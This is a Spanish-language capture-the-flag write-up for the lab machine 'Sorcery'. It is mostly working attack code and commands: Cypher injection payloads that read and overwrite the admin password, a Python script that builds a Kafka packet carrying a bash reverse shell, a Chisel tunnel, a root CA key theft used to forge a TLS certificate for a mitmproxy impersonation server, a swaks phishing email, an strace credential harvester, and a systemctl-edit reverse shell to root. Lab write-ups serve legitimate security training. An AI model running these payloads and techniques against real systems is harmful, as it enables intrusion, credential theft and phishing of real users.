Sorcery

Enumeración:

Un puerto 443/HTTPS

Verificar el repositorio nos lleva a Después de agregar el archivo de hosts git.sorcery.htb, obtenemos el siguiente repositorio; y esto parece estar creado en RUST verificando las extensiones de los archivos dentro del repositoriohttps://git.sorcery.htb/nicole_sullivan/infrastructure

Tal parece que podría haber más opciones; al buscar en git puedo ver referencias a esto; por lo que es posible que podamos intentar escalar a otro tipo de cuenta.

Inyección de Cypher, el lenguaje de consulta utilizado por la base de datos Neo4j
🕳️ Vulnerabilidad: Inyección de Cypher (Neo4j)
Durante el análisis de la máquina sorcery.htb
, se detectó una vulnerabilidad de inyección de Cypher en el endpoint:

<ID>
del recurso está siendo inyectado directamente en una consulta Cypher sin ser saneado.🧪 Payload usado:
ID original del producto (benigno):
9f07bed1-b6bd-403b-9219-bc91160e2573
ID malicioso con inyección:
"}) OPTIONAL MATCH (c:Config) RETURN result { .*, description: coalesce(c.registration_key, result.description) }//
9f07bed1-b6bd-403b-9219-bc91160e2573"}) OPTIONAL MATCH (c:Config) RETURN result { .*, description: coalesce(c.registration_key, result.description) }//
Esto modifica la consulta en el backend para que devuelva no solo los datos del producto, sino también la clave de registro (registration_key
) desde otro nodo (Config
), sobrescribiendo el campo description
si existe.
🔐 Payload URL-encoded
Codificado para insertar en la URL:
%22%7D%29%20OPTIONAL%20MATCH%20%28c%3AConfig%29%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20coalesce%28c.registration_key%2C%20result.description%29%20%7D%2F%2F
Esto permite inyectarlo directamente en el navegador o herramienta como Burp Suite, Postman, o cURL.
GET /dashboard/store/9f07bed1-b6bd-403b-9219-bc91160e2573%22%7D%29%20OPTIONAL%20MATCH%20%28c%3AConfig%29%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20coalesce%28c.registration_key%2C%20result.description%29%20%7D%2F%2F HTTP/1.1


Y ahora parece que tengo la clave para crear una cuenta de vendedor, así que intentemos registrarnos con ella
dd05d743-b560-45dc-9a09-43ab18c7a513

Tenemos un nuevo apartado:

Probaré alguna inyección XSS en los campos para ver si activa algo, lo cual parece ser posible..


Ahora intentaré con otro y veré si puedo lograr que se conecte nuevamente a mi host:


Se conecta de nuevo, así que funciona. Sin embargo, todavía no consigo un shell, pero he confirmado que está ejecutando los scripts. Desde aquí, podría ser posible usar XSS con la cuenta de administrador; sin embargo, lo intenté varias veces y no pude solucionarlo; puede que sea un error.
Escalar a Admin con Inyección de Cypher
Leer contraseña de admin
"}) OPTIONAL MATCH (u:User {username: 'admin'}) RETURN result { .*, description: u.password }//
URL Encode it:
/dashboard/store/9f07bed1-b6bd-403b-9219-bc91160e2573"%7D%29%20OPTIONAL%20MATCH%20%28u%3AUser%20%7Busername%3A%20%22admin%22%7D%29%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20u.password%20%7D%2F%2F

Cambiar la contraseña
Crear hash Argon2: https://argon2.online → contraseña:
matthezx

Lo cual resulta como el comando completo a continuación:
$argon2id$v=19$m=16,t=2,p=1$c0VHYldqWUdNaUpDWHJLZw$nfXw1w8JydJYtvPeME/AYw
"}) MATCH (u:User {username: 'admin'}) SET u.password = '$argon2id$v=19$m=16,t=2,p=1$c0VHYldqWUdNaUpDWHJLZw$nfXw1w8JydJYtvPeME/AYw' //
"}) MATCH (u:User {username: "admin"}) SET u.password= "<argon_hash>" RETURN result { .*, description: "Password updated" } AS result //
✅ Payload Cypher que funcionó:
Corresponde a esta inyección decodificada: PASSWD: las
"}) WITH 1 AS ignore
MATCH (u:User {username: 'admin'})
SET u.password = '$argon2i$v=19$m=16,t=2,p=1$RFlwMXhKRXlqUTZ0elFOag$FlZh4r50fd618lcKdf5lBA'
RETURN ignore //
/dashboard/store/9f07bed1-b6bd-403b-9219-bc91160e2573%22%7D)%20WITH%201%20AS%20ignore%20MATCH%20(u%3AUser%20%7Busername%3A%20'admin'%7D)%20SET%20u.password%20%3D%20'%24argon2i%24v%3D19%24m%3D16%2Ct%3D2%2Cp%3D1%24RFlwMXhKRXlqUTZ0elFOag%24FlZh4r50fd618lcKdf5lBA'%20RETURN%20ignore%20%2F%2F
Entramos como admin:


Al verificar más, parece que ahora tengo incluso más opciones que cuando tenía una cuenta de "Vendedor", lo que puede haber sido un agujero de conejo; sin embargo, están bloqueadas detrás del requisito de una "Clave de acceso".

PASOS PARA SIMULAR UNA PASSKEY CON CHROME DEVTOOLS
Intentaré utilizar ChromeDev Tools para simular una clave de acceso a través de este método;
1) CTRL + SHIFT I
2) Click the 3 dots at the top and navigate to "More Tools" > WebAuth

Luego haga clic en "Inscribir clave de acceso" en la sección de perfil del usuario administrador


Ahora obtengo las opciones tanto para depuración como para DNS.

Por lo que puedo decir leyendo el GIT de antes, la depuración puede estar ejecutándose en " Kafka ", al puerto por defecto "9092" que puedo ver referenciado aquí en docker-compose.yml.
Ahora, utilizando este script de Python proporcionado por un miembro de Discord , podemos generar una carga útil HEX funcional para obtener un shell inverso a través del menú de depuración; (guardar como payload.py)
import struct, zlib, binascii
topic = b"update"
value = b"bash -c '/bin/bash -i >& /dev/tcp/10.10.14.25/4444 0>&1'"
def msg(v):
body = struct.pack(">BBi", 0, 0, -1) + struct.pack(">i", len(v)) + v
crc = zlib.crc32(body) & 0xffffffff
return struct.pack(">I", crc) + body # 🔁 CAMBIA >i A >I
mset = struct.pack(">q", 0) + struct.pack(">i", len(msg(value))) + msg(value)
pdata = struct.pack(">i", 0) + struct.pack(">i", len(mset)) + mset
tdata = struct.pack(">h", len(topic)) + topic + struct.pack(">i", 1) + pdata
body = struct.pack(">h", 1) + struct.pack(">i", 10000) + struct.pack(">i", 1) + tdata
hdr = struct.pack(">hhih", 0, 0, 42, 3) + b"dbg"
pkt = struct.pack(">i", len(hdr)+len(body)) + hdr + body
print(binascii.hexlify(pkt).decode())

Y enviamos a través del menú de depuración como se muestra a continuación:

Y en con el listener en escucha:

🔧 Paso 1: Preparación del entorno y resolución DNS:
cd /dns
echo "10.10.16.90 upn.sorcery.htb" >> hosts-user
./convert.sh
pkill -9 dnsmasq
¿Por qué?
Esto permite que el nombre upn.sorcery.htb
sea resuelto dentro del entorno del laboratorio, apuntando a nuestra IP (10.10.16.90), lo cual será clave para el ataque MITM.
🌐 Paso 2: Identificar servicios internos:
hostname -I # Output: 172.19.0.6
getent hosts ftp # → 172.19.0.9
getent hosts mail # → 172.19.0.7
¿Por qué?
Se identifican las direcciones IP internas de los servicios ftp
y mail
, necesarios para descargar certificados y realizar phishing.
🧠 Paso 3: Crear túnel SOCKS5 con Chisel:
Atacante (tu máquina):
./chisel server --port 5555 --reverse --socks5
Objetivo (contenedor comprometido):
./chisel client 10.10.16.90:5555 R:socks
¿Por qué?
Creamos un túnel proxy SOCKS5 inverso para enrutar todo el tráfico del contenedor a través de nuestra máquina atacante. Así podremos usar proxychains
para hacer requests internos.
📄 Paso 4: Descargar certificados con proxychains:
proxychains -q curl ftp://172.19.0.9/pub/RootCA.key -o RootCA.key
proxychains -q curl ftp://172.19.0.9/pub/RootCA.crt -o RootCA.crt
¿Por qué? Obtenemos los certificados raíz que luego usaremos para firmar certificados falsos y montar un servidor HTTPS malicioso.
🧾 Paso 5: Crear certificado falso para ataque MITM:
openssl genrsa -out upn.sorcery.htb.key 2048
openssl req -new -key upn.sorcery.htb.key -out upn.sorcery.htb.csr -subj "/CN=upn.sorcery.htb"
openssl rsa -in RootCA.key -out RootCA-unenc.key
openssl x509 -req -in upn.sorcery.htb.csr -CA RootCA.crt -CAkey RootCA-unenc.key -CAcreateserial -out upn.sorcery.htb.crt -days 365
cat upn.sorcery.htb.key upn.sorcery.htb.crt > upn.sorcery.htb.pem
¿Por qué?
Creamos un certificado TLS que nos permitirá suplantar a upn.sorcery.htb
de forma legítima ante la víctima.
🕵️ Paso 6: Iniciar mitmproxy como servidor falso:
mitmproxy --mode reverse:https://git.sorcery.htb --certs upn.sorcery.htb.pem --save-stream-file trafficraw.k --ssl-insecure -p 443
¿Por qué?
Esto simula el dominio upn.sorcery.htb
en nuestra máquina. Si la víctima cae en el phishing, capturamos sus credenciales HTTPS.


📧 Paso 7: Enviar correo de phishing:
proxychains -q swaks --to tom_summers@sorcery.htb --from nicole_sullivan@sorcery.htb --server 172.19.0.7 --port 1025 --data "Subject: Hello Tom\n\nHi Tom,\n\nPlease check this link: https://upn.sorcery.htb/user/login\n"
¿Por qué? Se envía un correo fraudulento a un usuario válido para que acceda a nuestro servidor HTTPS falso, permitiendo capturar sus credenciales.
🔐 Paso 8: Acceso como tom_summers:
ssh tom_summers@10.10.11.73
# Contraseña capturada: ----------------
¿Por qué? Credenciales obtenidas vía phishing. Primer acceso al host principal.
🖼️ Paso 9: Recuperar archivo sensible desde Xvfb:
find / -type f -name "Xvfb_screen0" 2>/dev/null
scp tom_summers@10.10.11.73:/xorg/xvfb/Xvfb_screen0 .
convert xwd:Xvfb_screen0 output.png
xdg-open output.png
¿Por qué?
Captura de pantalla del escritorio donde se ve la contraseña de tom_summers_admin
: -----cesBjT-
👨💻 Paso 10: Ingresar como tom_summers_admin:
ssh tom_summers_admin@10.10.11.73
# Contraseña: -----esBjT-

🧪 Paso 11: Ataque con strace
al login Docker:
tom_summers_admin@main:~$ sudo -u rebecca_smith /usr/bin/docker login
y en otra terminal ejecutamos el script:
./trace.sh
#!/bin/bash
# Script to trace Docker login processes and their children
USER="your_user" # Replace with target user
COMMAND="docker login" # Process pattern to trace
declare -A traced_pids # Track already traced PIDs
while true; do
# Find all Docker login PIDs for the user that aren't traced yet
pids=$(pgrep -u $(id -u "$USER") -f "$COMMAND")
for pid in $pids; do
if [[ -z "${traced_pids[$pid]}" ]]; then
echo "[+] Attaching strace to PID $pid"
# Run strace in background (detached, large string size, follow forks)
sudo -u "$USER" strace -s 128 -f -p "$pid" -o "/tmp/strace-$pid.log" &
traced_pids[$pid]=1
fi
done
# Check child processes of traced PIDs
for parent_pid in "${!traced_pids[@]}"; do
# List child PIDs of parent_pid
child_pids=$(pgrep -P "$parent_pid")
for child_pid in $child_pids; do
if [[ -z "${traced_pids[$child_pid]}" ]]; then
echo "[+] Attaching strace to child PID $child_pid (parent $parent_pid)"
sudo -u "$USER" strace -s 128 -f -p "$child_pid" -o "/tmp/strace-$child_pid.log" &
traced_pids[$child_pid]=1
fi
done
done
sleep 1 # Reduce CPU usage
done
La cual nos da como resultado las credenciales de
rebecca_smith
grep -a 'write(' /tmp/strace-290533.log | grep -v ' = 0'

🔑 Paso 12: Extracción de hash de ash_winter
con pspy64:
./pspy64 | grep -Ei "pass|ipa|txt"
# Se detecta modificación del atributo userPassword
# userPassword=--------------
¿Por qué?
Vemos cómo se crea el usuario ash_winter
y se le asigna contraseña.

Root


TF=$(mktemp)
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.90/4433 0>&1"' > $TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit sssd
sudo /usr/bin/systemctl restart sssd
En tu consola donde escuchas con nc
, deberías recibir una shell como root:

Last updated